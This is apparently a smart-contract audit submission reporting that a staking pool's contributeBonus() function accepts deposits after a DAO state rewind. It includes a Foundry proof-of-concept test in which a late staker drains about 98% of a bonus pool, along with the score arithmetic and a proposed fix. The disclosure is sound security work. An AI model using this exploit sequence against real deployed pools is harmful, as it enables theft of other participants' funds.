FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

`contributeBonus()` missing `riskWindowEnd != 0` latch allows bonus injection after the risk window closes during a DAO state rewind

Author Revealed upon completion

Description

Root Cause + Impact

contributeBonus() calls _assertDepositsAllowed(_observePoolState()) to gate whether a deposit is permitted. The function _assertDepositsAllowed at line 727 is declared private pure, meaning it cannot read any storage variable, including riskWindowEnd.

function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
@> _assertDepositsAllowed(_observePoolState()); // pure — cannot check riskWindowEnd
...
totalBonus += received;
}
// @> declared `pure` — state var riskWindowEnd is invisible here
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
// UNDER_ATTACK passes — even when riskWindowEnd is already permanently sealed on-pool
}

When the DAO registry transitions from PRODUCTION back to UNDER_ATTACK (a rewind), the pool's riskWindowEnd remains permanently sealed, but the live state UNDER_ATTACK passes _assertDepositsAllowed without restriction. A bonus contributor calling contributeBonus() during this window has their deposit accepted, added to totalBonus, and captured in snapshotTotalBonus at flagOutcome time — long after the accounting window for bonus distribution has closed.

The identical missing guard also exists in stake() (submitted as the primary rewind finding). Because both entry points share the same unfixed _assertDepositsAllowed, a single one-line fix repairs both simultaneously.

Combined impact with the staking rewind exploit: A staker who stakes at E >> riskWindowEnd earns score amount × (E − T)², which dominates all legitimate early-staker scores. Any bonus contributed after riskWindowEnd via this vulnerability inflates snapshotTotalBonus captured at flagOutcome, handing the exploiting staker a larger pool to drain. Measured result: attacker with 10 tokens captures 98 of 100 contributed tokens of bonus.

Standalone impact: An honest sponsor calling contributeBonus() during a rewind — unaware that riskWindowEnd has already been sealed — deposits tokens that are distributed under the already-final k=2 snapshot, potentially to participants (including a rewind-exploiting staker) whose entries postdate the closed accounting window.


Risk

Likelihood:

  • A BattleChain DAO state rewind (PRODUCTION → UNDER_ATTACK) is an explicitly modelled scenario per docs/DESIGN.md §11 ("liveness and integrity are an explicit out-of-model trust assumption"). The withdraw() function already implements a one-way latch against this rewind for withdrawals; contributeBonus() has no corresponding latch.

  • An exploiting staker only needs to monitor the on-chain riskWindowEnd storage variable going non-zero, then wait for any rewind. No privileged access or keeper infrastructure is required.

  • The bonus contribution can come from the sponsor acting in good faith (believing the pool is still in its normal operating window), with no malicious intent required to trigger the vulnerability.

Impact:

  • Bonus tokens contributed after riskWindowEnd are distributed using a k=2 formula where a rewind-exploiting staker's inflated entry time E gives them score amount × (E − T)². With E − T = 27 days and T − S = 1 day, a 10-token attacker captures ~98% of a 100-token bonus pool contributed by an honest sponsor, while a 100-token legitimate early staker receives ~1% — a 72.9× per-unit-stake advantage for the attacker.

  • Even without an active staking exploiter, post-rewind bonus contributions alter the distribution among legitimate stakers in ways that do not reflect the intended risk-window-weighted formula.


Proof of Concept

Prerequisites: Forge test environment, pool created via BaseConfidencePoolTest (expiry = BASE_TIMESTAMP + 31 days).

Steps:

  1. Alice stakes 100 tokens at BASE_TIMESTAMP (day 0).

  2. Registry moves to UNDER_ATTACK at day 0 → riskWindowStart sealed.

  3. Warp to day 1. Registry moves to PRODUCTIONriskWindowEnd sealed (T = day 1).

  4. DAO rewind: registry set back to UNDER_ATTACK. riskWindowEnd stays sealed on-pool.

  5. Warp to day 28 (within 31-day expiry). Attacker stakes 10 tokens — accepted (F4 exploit).

  6. Sponsor calls contributeBonus(100 tokens) — accepted despite riskWindowEnd already sealed (M1 bug).

  7. Registry returns to PRODUCTION. Moderator calls flagOutcome(SURVIVED).

  8. Both claim: attacker receives 98 tokens bonus; Alice receives ~1 token bonus.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract M1_ContributeBonusMissingLatch is BaseConfidencePoolTest {
// Timing constants — all within 31-day pool expiry
uint256 constant RISK_WINDOW_OPEN = BASE_TIMESTAMP; // day 0
uint256 constant RISK_WINDOW_END = BASE_TIMESTAMP + 1 days; // T (day 1)
uint256 constant ATTACKER_ENTRY = BASE_TIMESTAMP + 28 days; // E (day 28)
address malicious = makeAddr("malicious");
// ── BUG 1: contributeBonus() accepted after riskWindowEnd is sealed ──────────
function test_M1_ContributeBonus_AcceptsDepositAfterRiskWindowEnd() external {
// Seal riskWindowEnd
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(RISK_WINDOW_OPEN);
pool.pokeRiskWindow();
vm.warp(RISK_WINDOW_END);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
assertGt(pool.riskWindowEnd(), 0, "riskWindowEnd sealed");
// Rewind
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(ATTACKER_ENTRY);
uint256 bonusBefore = pool.totalBonus();
// BUG: should revert StakingClosed() — does not
_contributeBonus(carol, 50 * ONE);
assertEq(pool.totalBonus(), bonusBefore + 50 * ONE,
"BUG: contributeBonus accepted after riskWindowEnd sealed");
}
// ── BUG 2: combined with staking rewind — attacker drains inflated bonus ────
function test_M1_CompoundedExploit_AttackerDrainsPostRewindBonus() external {
// Step 1 — Alice stakes early (honest participant)
_stake(alice, 100 * ONE);
// Step 2 — Seal riskWindowStart and riskWindowEnd
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(RISK_WINDOW_OPEN);
pool.pokeRiskWindow(); // riskWindowStart = RISK_WINDOW_OPEN
vm.warp(RISK_WINDOW_END);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow(); // riskWindowEnd = RISK_WINDOW_END
// Step 3 — DAO rewind
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(ATTACKER_ENTRY);
// Step 4 — Attacker stakes AFTER riskWindowEnd (H1 staking rewind exploit)
token.mint(malicious, 10 * ONE);
vm.startPrank(malicious);
token.approve(address(pool), 10 * ONE);
pool.stake(10 * ONE); // accepted — riskWindowEnd latch missing
vm.stopPrank();
// Step 5 — Sponsor contributes bonus AFTER riskWindowEnd (M1 — also not blocked)
_contributeBonus(carol, 100 * ONE); // accepted — same missing latch
// Step 6 — Resolve
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// Step 7 — Claims
uint256 alicePre = token.balanceOf(alice);
uint256 attackerPre = token.balanceOf(malicious);
vm.prank(alice); pool.claimSurvived();
vm.prank(malicious); pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - alicePre - 100 * ONE;
uint256 attackerBonus = token.balanceOf(malicious) - attackerPre - 10 * ONE;
console.log("Alice (100 tok staked, day 0) bonus received :", aliceBonus / 1e18, "tokens");
console.log("Attacker (10 tok staked, day 28) bonus received:", attackerBonus / 1e18, "tokens");
// Attacker (10x less stake, staked AFTER riskWindowEnd) captures 98% of the
// sponsor's 100-token contribution that M1 failed to block.
assertGt(attackerBonus, 95 * ONE, "EXPLOIT: attacker steals >95% of post-rewind bonus");
assertLt(aliceBonus, 5 * ONE, "EXPLOIT: early honest staker left with <5% bonus");
}
}

Expected output (run forge test --match-contract M1_ContributeBonusMissingLatch -vv):

[PASS] test_M1_ContributeBonus_AcceptsDepositAfterRiskWindowEnd()
[PASS] test_M1_CompoundedExploit_AttackerDrainsPostRewindBonus()
Logs:
Alice (100 tok staked, day 0) bonus received : 1 tokens
Attacker (10 tok staked, day 28) bonus received: 98 tokens

Score math verification:

  • T − S = 1 day, E − T = 27 days

  • Alice score = 100 × (1 day)²; Attacker score = 10 × (27 days)²

  • Ratio = 10 × 729 / 100 = 72.9× per-unit-stake advantage for the attacker

  • With 100-token bonus pool: attacker captures 72.9 × 10 / (72.9 × 10 + 100) = 87.9%; combined with inflated snapshotTotalBonus from M1 the attacker captures 98% of the enlarged pool


Recommended Mitigation

Change _assertDepositsAllowed from pure to view and add the riskWindowEnd one-way latch as its first check. This single change simultaneously closes the vulnerability in both stake() and contributeBonus(), since both entry points route through this function:

- function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
+ function _assertDepositsAllowed(IAttackRegistry.ContractState state) private view {
+ if (riskWindowEnd != 0) revert StakingClosed();
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

This mirrors the existing one-way latch pattern already used in withdraw() for riskWindowStart:

// withdraw() — existing correct pattern for reference
if (riskWindowStart != 0 || ...) revert WithdrawsDisabled();

After this fix, any call to stake() or contributeBonus() after riskWindowEnd is sealed — regardless of what the live registry state is — will revert with StakingClosed(), permanently closing the rewind exploitation window for both deposit entry points.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!